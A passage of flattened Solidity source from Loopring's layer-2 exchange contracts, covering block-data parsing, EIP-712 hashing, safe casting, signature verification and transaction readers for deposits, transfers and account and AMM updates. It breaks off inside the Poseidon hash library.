uint public constant MIN_TIME_IN_SHUTDOWN = 30 days;
// The amount of bytes each rollup transaction uses in the block data for data-availability.
// This is the maximum amount of bytes of all different transaction types.
uint32 public constant MAX_AGE_DEPOSIT_UNTIL_WITHDRAWABLE_UPPERBOUND = 15 days;
uint32 public constant ACCOUNTID_PROTOCOLFEE = 0;
uint public constant TX_DATA_AVAILABILITY_SIZE = 68;
uint public constant TX_DATA_AVAILABILITY_SIZE_PART_1 = 29;
uint public constant TX_DATA_AVAILABILITY_SIZE_PART_2 = 39;
struct AccountLeaf
{
uint32 accountID;
address owner;
uint pubKeyX;
uint pubKeyY;
uint32 nonce;
uint feeBipsAMM;
}
struct BalanceLeaf
{
uint16 tokenID;
uint96 balance;
uint96 weightAMM;
uint storageRoot;
}
struct MerkleProof
{
ExchangeData.AccountLeaf accountLeaf;
ExchangeData.BalanceLeaf balanceLeaf;
uint[48] accountMerkleProof;
uint[24] balanceMerkleProof;
}
struct BlockContext
{
bytes32 DOMAIN_SEPARATOR;
uint32 timestamp;
}
// Represents the entire exchange state except the owner of the exchange.
struct State
{
uint32 maxAgeDepositUntilWithdrawable;
bytes32 DOMAIN_SEPARATOR;
ILoopringV3 loopring;
IBlockVerifier blockVerifier;
IAgentRegistry agentRegistry;
IDepositContract depositContract;
// The merkle root of the offchain data stored in a Merkle tree. The Merkle tree
// stores balances for users using an account model.
bytes32 merkleRoot;
// List of all blocks
mapping(uint => BlockInfo) blocks;
uint numBlocks;
// List of all tokens
Token[] tokens;
// A map from a token to its tokenID + 1
mapping (address => uint16) tokenToTokenId;
// A map from an accountID to a tokenID to if the balance is withdrawn
mapping (uint32 => mapping (uint16 => bool)) withdrawnInWithdrawMode;
// A map from an account to a token to the amount withdrawable for that account.
// This is only used when the automatic distribution of the withdrawal failed.
mapping (address => mapping (uint16 => uint)) amountWithdrawable;
// A map from an account to a token to the forced withdrawal (always full balance)
mapping (uint32 => mapping (uint16 => ForcedWithdrawal)) pendingForcedWithdrawals;
// A map from an address to a token to a deposit
mapping (address => mapping (uint16 => Deposit)) pendingDeposits;
// A map from an account owner to an approved transaction hash to if the transaction is approved or not
mapping (address => mapping (bytes32 => bool)) approvedTx;
// A map from an account owner to a destination address to a tokenID to an amount to a storageID to a new recipient address
mapping (address => mapping (address => mapping (uint16 => mapping (uint => mapping (uint32 => address))))) withdrawalRecipient;
// Counter to keep track of how many of forced requests are open so we can limit the work that needs to be done by the owner
uint32 numPendingForcedTransactions;
// Cached data for the protocol fee
ProtocolFeeData protocolFeeData;
// Time when the exchange was shutdown
uint shutdownModeStartTime;
// Time when the exchange has entered withdrawal mode
uint withdrawalModeStartTime;
// Last time the protocol fee was withdrawn for a specific token
mapping (address => uint) protocolFeeLastWithdrawnTime;
}
}
// File: contracts/core/impl/libtransactions/BlockReader.sol
// Copyright 2017 Loopring Technology Limited.
/// @title BlockReader
/// @author Brecht Devos - <[email protected]>
/// @dev Utility library to read block data.
library BlockReader {
using BlockReader for ExchangeData.Block;
using BytesUtil for bytes;
uint public constant OFFSET_TO_TRANSACTIONS = 20 + 32 + 32 + 4 + 1 + 1 + 4 + 4;
struct BlockHeader
{
address exchange;
bytes32 merkleRootBefore;
bytes32 merkleRootAfter;
uint32 timestamp;
uint8 protocolTakerFeeBips;
uint8 protocolMakerFeeBips;
uint32 numConditionalTransactions;
uint32 operatorAccountID;
}
function readHeader(
bytes memory _blockData
)
internal
pure
returns (BlockHeader memory header)
{
uint offset = 0;
header.exchange = _blockData.toAddress(offset);
offset += 20;
header.merkleRootBefore = _blockData.toBytes32(offset);
offset += 32;
header.merkleRootAfter = _blockData.toBytes32(offset);
offset += 32;
header.timestamp = _blockData.toUint32(offset);
offset += 4;
header.protocolTakerFeeBips = _blockData.toUint8(offset);
offset += 1;
header.protocolMakerFeeBips = _blockData.toUint8(offset);
offset += 1;
header.numConditionalTransactions = _blockData.toUint32(offset);
offset += 4;
header.operatorAccountID = _blockData.toUint32(offset);
offset += 4;
assert(offset == OFFSET_TO_TRANSACTIONS);
}
function readTransactionData(
bytes memory data,
uint txIdx,
uint blockSize,
bytes memory txData
)
internal
pure
{
require(txIdx < blockSize, "INVALID_TX_IDX");
// The transaction was transformed to make it easier to compress.
// Transform it back here.
// Part 1
uint txDataOffset = OFFSET_TO_TRANSACTIONS +
txIdx * ExchangeData.TX_DATA_AVAILABILITY_SIZE_PART_1;
assembly {
mstore(add(txData, 32), mload(add(data, add(txDataOffset, 32))))
}
// Part 2
txDataOffset = OFFSET_TO_TRANSACTIONS +
blockSize * ExchangeData.TX_DATA_AVAILABILITY_SIZE_PART_1 +
txIdx * ExchangeData.TX_DATA_AVAILABILITY_SIZE_PART_2;
assembly {
mstore(add(txData, 61 /*32 + 29*/), mload(add(data, add(txDataOffset, 32))))
mstore(add(txData, 68 ), mload(add(data, add(txDataOffset, 39))))
}
}
}
// File: contracts/lib/EIP712.sol
// Copyright 2017 Loopring Technology Limited.
library EIP712
{
struct Domain {
string name;
string version;
address verifyingContract;
}
bytes32 constant internal EIP712_DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
string constant internal EIP191_HEADER = "\x19\x01";
function hash(Domain memory domain)
internal
pure
returns (bytes32)
{
uint _chainid;
assembly { _chainid := chainid() }
return keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(domain.name)),
keccak256(bytes(domain.version)),
_chainid,
domain.verifyingContract
)
);
}
function hashPacked(
bytes32 domainHash,
bytes32 dataHash
)
internal
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
EIP191_HEADER,
domainHash,
dataHash
)
);
}
}
// File: contracts/thirdparty/SafeCast.sol
// Taken from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/SafeCast.sol
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value < 2**96, "SafeCast: value doesn\'t fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint40 from uint256, reverting on
* overflow (when the input is greater than largest uint40).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 40 bits
*/
function toUint40(uint256 value) internal pure returns (uint40) {
require(value < 2**40, "SafeCast: value doesn\'t fit in 40 bits");
return uint40(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File: contracts/lib/FloatUtil.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Utility Functions for floats
/// @author Brecht Devos - <[email protected]>
library FloatUtil
{
using MathUint for uint;
using SafeCast for uint;
// Decodes a decimal float value that is encoded like `exponent | mantissa`.
// Both exponent and mantissa are in base 10.
// Decoding to an integer is as simple as `mantissa * (10 ** exponent)`
// Will throw when the decoded value overflows an uint96
/// @param f The float value with 5 bits for the exponent
/// @param numBits The total number of bits (numBitsMantissa := numBits - numBitsExponent)
/// @return value The decoded integer value.
function decodeFloat(
uint f,
uint numBits
)
internal
pure
returns (uint96 value)
{
if (f == 0) {
return 0;
}
uint numBitsMantissa = numBits.sub(5);
uint exponent = f >> numBitsMantissa;
// log2(10**77) = 255.79 < 256
require(exponent <= 77, "EXPONENT_TOO_LARGE");
uint mantissa = f & ((1 << numBitsMantissa) - 1);
value = mantissa.mul(10 ** exponent).toUint96();
}
// Decodes a decimal float value that is encoded like `exponent | mantissa`.
// Both exponent and mantissa are in base 10.
// Decoding to an integer is as simple as `mantissa * (10 ** exponent)`
// Will throw when the decoded value overflows an uint96
/// @param f The float value with 5 bits exponent, 11 bits mantissa
/// @return value The decoded integer value.
function decodeFloat16(
uint16 f
)
internal
pure
returns (uint96)
{
uint value = ((uint(f) & 2047) * (10 ** (uint(f) >> 11)));
require(value < 2**96, "SafeCast: value doesn\'t fit in 96 bits");
return uint96(value);
}
// Decodes a decimal float value that is encoded like `exponent | mantissa`.
// Both exponent and mantissa are in base 10.
// Decoding to an integer is as simple as `mantissa * (10 ** exponent)`
// Will throw when the decoded value overflows an uint96
/// @param f The float value with 5 bits exponent, 19 bits mantissa
/// @return value The decoded integer value.
function decodeFloat24(
uint24 f
)
internal
pure
returns (uint96)
{
uint value = ((uint(f) & 524287) * (10 ** (uint(f) >> 19)));
require(value < 2**96, "SafeCast: value doesn\'t fit in 96 bits");
return uint96(value);
}
}
// File: contracts/lib/ERC1271.sol
// Copyright 2017 Loopring Technology Limited.
abstract contract ERC1271 {
// bytes4(keccak256("isValidSignature(bytes32,bytes)")
bytes4 constant internal ERC1271_MAGICVALUE = 0x1626ba7e;
function isValidSignature(
bytes32 _hash,
bytes memory _signature)
public
view
virtual
returns (bytes4 magicValueB32);
}
// File: contracts/lib/SignatureUtil.sol
// Copyright 2017 Loopring Technology Limited.
/// @title SignatureUtil
/// @author Daniel Wang - <[email protected]>
/// @dev This method supports multihash standard. Each signature's last byte indicates
/// the signature's type.
library SignatureUtil
{
using BytesUtil for bytes;
using MathUint for uint;
using AddressUtil for address;
enum SignatureType {
ILLEGAL,
INVALID,
EIP_712,
ETH_SIGN,
WALLET // deprecated
}
bytes4 constant internal ERC1271_MAGICVALUE = 0x1626ba7e;
function verifySignatures(
bytes32 signHash,
address[] memory signers,
bytes[] memory signatures
)
internal
view
returns (bool)
{
require(signers.length == signatures.length, "BAD_SIGNATURE_DATA");
address lastSigner;
for (uint i = 0; i < signers.length; i++) {
require(signers[i] > lastSigner, "INVALID_SIGNERS_ORDER");
lastSigner = signers[i];
if (!verifySignature(signHash, signers[i], signatures[i])) {
return false;
}
}
return true;
}
function verifySignature(
bytes32 signHash,
address signer,
bytes memory signature
)
internal
view
returns (bool)
{
if (signer == address(0)) {
return false;
}
return signer.isContract()?
verifyERC1271Signature(signHash, signer, signature):
verifyEOASignature(signHash, signer, signature);
}
function recoverECDSASigner(
bytes32 signHash,
bytes memory signature
)
internal
pure
returns (address)
{
if (signature.length != 65) {
return address(0);
}
bytes32 r;
bytes32 s;
uint8 v;
// we jump 32 (0x20) as the first slot of bytes contains the length
// we jump 65 (0x41) per signature
// for v we load 32 bytes ending with v (the first 31 come from s) then apply a mask
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := and(mload(add(signature, 0x41)), 0xff)
}
// See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/cryptography/ECDSA.sol
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v == 27 || v == 28) {
return ecrecover(signHash, v, r, s);
} else {
return address(0);
}
}
function verifyEOASignature(
bytes32 signHash,
address signer,
bytes memory signature
)
private
pure
returns (bool success)
{
if (signer == address(0)) {
return false;
}
uint signatureTypeOffset = signature.length.sub(1);
SignatureType signatureType = SignatureType(signature.toUint8(signatureTypeOffset));
// Strip off the last byte of the signature by updating the length
assembly {
mstore(signature, signatureTypeOffset)
}
if (signatureType == SignatureType.EIP_712) {
success = (signer == recoverECDSASigner(signHash, signature));
} else if (signatureType == SignatureType.ETH_SIGN) {
bytes32 hash = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", signHash)
);
success = (signer == recoverECDSASigner(hash, signature));
} else {
success = false;
}
// Restore the signature length
assembly {
mstore(signature, add(signatureTypeOffset, 1))
}
return success;
}
function verifyERC1271Signature(
bytes32 signHash,
address signer,
bytes memory signature
)
private
view
returns (bool)
{
bytes memory callData = abi.encodeWithSelector(
ERC1271.isValidSignature.selector,
signHash,
signature
);
(bool success, bytes memory result) = signer.staticcall(callData);
return (
success &&
result.length == 32 &&
result.toBytes4(0) == ERC1271_MAGICVALUE
);
}
}
// File: contracts/core/impl/libexchange/ExchangeSignatures.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeSignatures.
/// @dev All methods in this lib are internal, therefore, there is no need
/// to deploy this library independently.
/// @author Brecht Devos - <[email protected]>
/// @author Daniel Wang - <[email protected]>
library ExchangeSignatures
{
using SignatureUtil for bytes32;
function requireAuthorizedTx(
ExchangeData.State storage S,
address signer,
bytes memory signature,
bytes32 txHash
)
internal // inline call
{
require(signer != address(0), "INVALID_SIGNER");
// Verify the signature if one is provided, otherwise fall back to an approved tx
if (signature.length > 0) {
require(txHash.verifySignature(signer, signature), "INVALID_SIGNATURE");
} else {
require(S.approvedTx[signer][txHash], "TX_NOT_APPROVED");
delete S.approvedTx[signer][txHash];
}
}
}
// File: contracts/core/impl/libtransactions/AccountUpdateTransaction.sol
// Copyright 2017 Loopring Technology Limited.
/// @title AccountUpdateTransaction
/// @author Brecht Devos - <[email protected]>
library AccountUpdateTransaction
{
using BytesUtil for bytes;
using FloatUtil for uint16;
using ExchangeSignatures for ExchangeData.State;
bytes32 constant public ACCOUNTUPDATE_TYPEHASH = keccak256(
"AccountUpdate(address owner,uint32 accountID,uint16 feeTokenID,uint96 maxFee,uint256 publicKey,uint32 validUntil,uint32 nonce)"
);
struct AccountUpdate
{
address owner;
uint32 accountID;
uint16 feeTokenID;
uint96 maxFee;
uint96 fee;
uint publicKey;
uint32 validUntil;
uint32 nonce;
}
// Auxiliary data for each account update
struct AccountUpdateAuxiliaryData
{
bytes signature;
uint96 maxFee;
uint32 validUntil;
}
function process(
ExchangeData.State storage S,
ExchangeData.BlockContext memory ctx,
bytes memory data,
uint offset,
bytes memory auxiliaryData
)
internal
{
// Read the account update
AccountUpdate memory accountUpdate;
readTx(data, offset, accountUpdate);
AccountUpdateAuxiliaryData memory auxData = abi.decode(auxiliaryData, (AccountUpdateAuxiliaryData));
// Fill in withdrawal data missing from DA
accountUpdate.validUntil = auxData.validUntil;
accountUpdate.maxFee = auxData.maxFee == 0 ? accountUpdate.fee : auxData.maxFee;
// Validate
require(ctx.timestamp < accountUpdate.validUntil, "ACCOUNT_UPDATE_EXPIRED");
require(accountUpdate.fee <= accountUpdate.maxFee, "ACCOUNT_UPDATE_FEE_TOO_HIGH");
// Calculate the tx hash
bytes32 txHash = hashTx(ctx.DOMAIN_SEPARATOR, accountUpdate);
// Check onchain authorization
S.requireAuthorizedTx(accountUpdate.owner, auxData.signature, txHash);
}
function readTx(
bytes memory data,
uint offset,
AccountUpdate memory accountUpdate
)
internal
pure
{
uint _offset = offset;
require(data.toUint8Unsafe(_offset) == uint8(ExchangeData.TransactionType.ACCOUNT_UPDATE), "INVALID_TX_TYPE");
_offset += 1;
// Check that this is a conditional offset
require(data.toUint8Unsafe(_offset) == 1, "INVALID_AUXILIARYDATA_DATA");
_offset += 1;
// Extract the data from the tx data
// We don't use abi.decode for this because of the large amount of zero-padding
// bytes the circuit would also have to hash.
accountUpdate.owner = data.toAddressUnsafe(_offset);
_offset += 20;
accountUpdate.accountID = data.toUint32Unsafe(_offset);
_offset += 4;
accountUpdate.feeTokenID = data.toUint16Unsafe(_offset);
_offset += 2;
accountUpdate.fee = data.toUint16Unsafe(_offset).decodeFloat16();
_offset += 2;
accountUpdate.publicKey = data.toUintUnsafe(_offset);
_offset += 32;
accountUpdate.nonce = data.toUint32Unsafe(_offset);
_offset += 4;
}
function hashTx(
bytes32 DOMAIN_SEPARATOR,
AccountUpdate memory accountUpdate
)
internal
pure
returns (bytes32)
{
return EIP712.hashPacked(
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
ACCOUNTUPDATE_TYPEHASH,
accountUpdate.owner,
accountUpdate.accountID,
accountUpdate.feeTokenID,
accountUpdate.maxFee,
accountUpdate.publicKey,
accountUpdate.validUntil,
accountUpdate.nonce
)
)
);
}
}
// File: contracts/core/impl/libtransactions/AmmUpdateTransaction.sol
// Copyright 2017 Loopring Technology Limited.
/// @title AmmUpdateTransaction
/// @author Brecht Devos - <[email protected]>
library AmmUpdateTransaction
{
using BytesUtil for bytes;
using MathUint for uint;
using ExchangeSignatures for ExchangeData.State;
bytes32 constant public AMMUPDATE_TYPEHASH = keccak256(
"AmmUpdate(address owner,uint32 accountID,uint16 tokenID,uint8 feeBips,uint96 tokenWeight,uint32 validUntil,uint32 nonce)"
);
struct AmmUpdate
{
address owner;
uint32 accountID;
uint16 tokenID;
uint8 feeBips;
uint96 tokenWeight;
uint32 validUntil;
uint32 nonce;
uint96 balance;
}
// Auxiliary data for each AMM update
struct AmmUpdateAuxiliaryData
{
bytes signature;
uint32 validUntil;
}
function process(
ExchangeData.State storage S,
ExchangeData.BlockContext memory ctx,
bytes memory data,
uint offset,
bytes memory auxiliaryData
)
internal
{
// Read in the AMM update
AmmUpdate memory update;
readTx(data, offset, update);
AmmUpdateAuxiliaryData memory auxData = abi.decode(auxiliaryData, (AmmUpdateAuxiliaryData));
// Check validUntil
require(ctx.timestamp < auxData.validUntil, "AMM_UPDATE_EXPIRED");
update.validUntil = auxData.validUntil;
// Calculate the tx hash
bytes32 txHash = hashTx(ctx.DOMAIN_SEPARATOR, update);
// Check the on-chain authorization
S.requireAuthorizedTx(update.owner, auxData.signature, txHash);
}
function readTx(
bytes memory data,
uint offset,
AmmUpdate memory update
)
internal
pure
{
uint _offset = offset;
require(data.toUint8Unsafe(_offset) == uint8(ExchangeData.TransactionType.AMM_UPDATE), "INVALID_TX_TYPE");
_offset += 1;
// We don't use abi.decode for this because of the large amount of zero-padding
// bytes the circuit would also have to hash.
update.owner = data.toAddressUnsafe(_offset);
_offset += 20;
update.accountID = data.toUint32Unsafe(_offset);
_offset += 4;
update.tokenID = data.toUint16Unsafe(_offset);
_offset += 2;
update.feeBips = data.toUint8Unsafe(_offset);
_offset += 1;
update.tokenWeight = data.toUint96Unsafe(_offset);
_offset += 12;
update.nonce = data.toUint32Unsafe(_offset);
_offset += 4;
update.balance = data.toUint96Unsafe(_offset);
_offset += 12;
}
function hashTx(
bytes32 DOMAIN_SEPARATOR,
AmmUpdate memory update
)
internal
pure
returns (bytes32)
{
return EIP712.hashPacked(
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
AMMUPDATE_TYPEHASH,
update.owner,
update.accountID,
update.tokenID,
update.feeBips,
update.tokenWeight,
update.validUntil,
update.nonce
)
)
);
}
}
// File: contracts/lib/MathUint96.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Utility Functions for uint
/// @author Daniel Wang - <[email protected]>
library MathUint96
{
function add(
uint96 a,
uint96 b
)
internal
pure
returns (uint96 c)
{
c = a + b;
require(c >= a, "ADD_OVERFLOW");
}
function sub(
uint96 a,
uint96 b
)
internal
pure
returns (uint96 c)
{
require(b <= a, "SUB_UNDERFLOW");
return a - b;
}
}
// File: contracts/core/impl/libtransactions/DepositTransaction.sol
// Copyright 2017 Loopring Technology Limited.
/// @title DepositTransaction
/// @author Brecht Devos - <[email protected]>
library DepositTransaction
{
using BytesUtil for bytes;
using MathUint96 for uint96;
struct Deposit
{
address to;
uint32 toAccountID;
uint16 tokenID;
uint96 amount;
}
function process(
ExchangeData.State storage S,
ExchangeData.BlockContext memory /*ctx*/,
bytes memory data,
uint offset,
bytes memory /*auxiliaryData*/
)
internal
{
// Read in the deposit
Deposit memory deposit;
readTx(data, offset, deposit);
if (deposit.amount == 0) {
return;
}
// Process the deposit
ExchangeData.Deposit memory pendingDeposit = S.pendingDeposits[deposit.to][deposit.tokenID];
// Make sure the deposit was actually done
require(pendingDeposit.timestamp > 0, "DEPOSIT_DOESNT_EXIST");
// Processing partial amounts of the deposited amount is allowed.
// This is done to ensure the user can do multiple deposits after each other
// without invalidating work done by the exchange owner for previous deposit amounts.
require(pendingDeposit.amount >= deposit.amount, "INVALID_AMOUNT");
pendingDeposit.amount = pendingDeposit.amount.sub(deposit.amount);
// If the deposit was fully consumed, reset it so the storage is freed up
// and the owner receives a gas refund.
if (pendingDeposit.amount == 0) {
delete S.pendingDeposits[deposit.to][deposit.tokenID];
} else {
S.pendingDeposits[deposit.to][deposit.tokenID] = pendingDeposit;
}
}
function readTx(
bytes memory data,
uint offset,
Deposit memory deposit
)
internal
pure
{
uint _offset = offset;
require(data.toUint8Unsafe(_offset) == uint8(ExchangeData.TransactionType.DEPOSIT), "INVALID_TX_TYPE");
_offset += 1;
// We don't use abi.decode for this because of the large amount of zero-padding
// bytes the circuit would also have to hash.
deposit.to = data.toAddressUnsafe(_offset);
_offset += 20;
deposit.toAccountID = data.toUint32Unsafe(_offset);
_offset += 4;
deposit.tokenID = data.toUint16Unsafe(_offset);
_offset += 2;
deposit.amount = data.toUint96Unsafe(_offset);
_offset += 12;
}
}
// File: contracts/core/impl/libtransactions/TransferTransaction.sol
// Copyright 2017 Loopring Technology Limited.
/// @title TransferTransaction
/// @author Brecht Devos - <[email protected]>
library TransferTransaction
{
using BytesUtil for bytes;
using FloatUtil for uint24;
using FloatUtil for uint16;
using MathUint for uint;
using ExchangeSignatures for ExchangeData.State;
bytes32 constant public TRANSFER_TYPEHASH = keccak256(
"Transfer(address from,address to,uint16 tokenID,uint96 amount,uint16 feeTokenID,uint96 maxFee,uint32 validUntil,uint32 storageID)"
);
struct Transfer
{
uint32 fromAccountID;
uint32 toAccountID;
address from;
address to;
uint16 tokenID;
uint96 amount;
uint16 feeTokenID;
uint96 maxFee;
uint96 fee;
uint32 validUntil;
uint32 storageID;
}
// Auxiliary data for each transfer
struct TransferAuxiliaryData
{
bytes signature;
uint96 maxFee;
uint32 validUntil;
}
function process(
ExchangeData.State storage S,
ExchangeData.BlockContext memory ctx,
bytes memory data,
uint offset,
bytes memory auxiliaryData
)
internal
{
// Read the transfer
Transfer memory transfer;
readTx(data, offset, transfer);
TransferAuxiliaryData memory auxData = abi.decode(auxiliaryData, (TransferAuxiliaryData));
// Fill in withdrawal data missing from DA
transfer.validUntil = auxData.validUntil;
transfer.maxFee = auxData.maxFee == 0 ? transfer.fee : auxData.maxFee;
// Validate
require(ctx.timestamp < transfer.validUntil, "TRANSFER_EXPIRED");
require(transfer.fee <= transfer.maxFee, "TRANSFER_FEE_TOO_HIGH");
// Calculate the tx hash
bytes32 txHash = hashTx(ctx.DOMAIN_SEPARATOR, transfer);
// Check the on-chain authorization
S.requireAuthorizedTx(transfer.from, auxData.signature, txHash);
}
function readTx(
bytes memory data,
uint offset,
Transfer memory transfer
)
internal
pure
{
uint _offset = offset;
require(data.toUint8Unsafe(_offset) == uint8(ExchangeData.TransactionType.TRANSFER), "INVALID_TX_TYPE");
_offset += 1;
// Check that this is a conditional transfer
require(data.toUint8Unsafe(_offset) == 1, "INVALID_AUXILIARYDATA_DATA");
_offset += 1;
// Extract the transfer data
// We don't use abi.decode for this because of the large amount of zero-padding
// bytes the circuit would also have to hash.
transfer.fromAccountID = data.toUint32Unsafe(_offset);
_offset += 4;
transfer.toAccountID = data.toUint32Unsafe(_offset);
_offset += 4;
transfer.tokenID = data.toUint16Unsafe(_offset);
_offset += 2;
transfer.amount = data.toUint24Unsafe(_offset).decodeFloat24();
_offset += 3;
transfer.feeTokenID = data.toUint16Unsafe(_offset);
_offset += 2;
transfer.fee = data.toUint16Unsafe(_offset).decodeFloat16();
_offset += 2;
transfer.storageID = data.toUint32Unsafe(_offset);
_offset += 4;
transfer.to = data.toAddressUnsafe(_offset);
_offset += 20;
transfer.from = data.toAddressUnsafe(_offset);
_offset += 20;
}
function hashTx(
bytes32 DOMAIN_SEPARATOR,
Transfer memory transfer
)
internal
pure
returns (bytes32)
{
return EIP712.hashPacked(
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
TRANSFER_TYPEHASH,
transfer.from,
transfer.to,
transfer.tokenID,
transfer.amount,
transfer.feeTokenID,
transfer.maxFee,
transfer.validUntil,
transfer.storageID
)
)
);
}
}
// File: contracts/core/impl/libexchange/ExchangeMode.sol
// Copyright 2017 Loopring Technology Limited.
/// @title ExchangeMode.
/// @dev All methods in this lib are internal, therefore, there is no need
/// to deploy this library independently.
/// @author Brecht Devos - <[email protected]>
/// @author Daniel Wang - <[email protected]>
library ExchangeMode
{
using MathUint for uint;
function isInWithdrawalMode(
ExchangeData.State storage S
)
internal // inline call
view
returns (bool result)
{
result = S.withdrawalModeStartTime > 0;
}
function isShutdown(
ExchangeData.State storage S
)
internal // inline call
view
returns (bool)
{
return S.shutdownModeStartTime > 0;
}
function getNumAvailableForcedSlots(
ExchangeData.State storage S
)
internal
view
returns (uint)
{
return ExchangeData.MAX_OPEN_FORCED_REQUESTS - S.numPendingForcedTransactions;
}
}
// File: contracts/lib/Poseidon.sol
// Copyright 2017 Loopring Technology Limited.
/// @title Poseidon hash function
/// See: https://eprint.iacr.org/2019/458.pdf
/// Code auto-generated by generate_poseidon_EVM_code.py
/// @author Brecht Devos - <[email protected]>
library Poseidon
{
//
// hash_t5f6p52
//
struct HashInputs5
{
uint t0;
uint t1;
uint t2;
uint t3;
uint t4;
}
function hash_t5f6p52_internal(
uint t0,
uint t1,
uint t2,
uint t3,
uint t4,
uint q
)
internal
pure
returns (uint)
{
assembly {
function mix(_t0, _t1, _t2, _t3, _t4, _q) -> nt0, nt1, nt2, nt3, nt4 {
nt0 := mulmod(_t0, 4977258759536702998522229302103997878600602264560359702680165243908162277980, _q)
nt0 := addmod(nt0, mulmod(_t1, 19167410339349846567561662441069598364702008768579734801591448511131028229281, _q), _q)
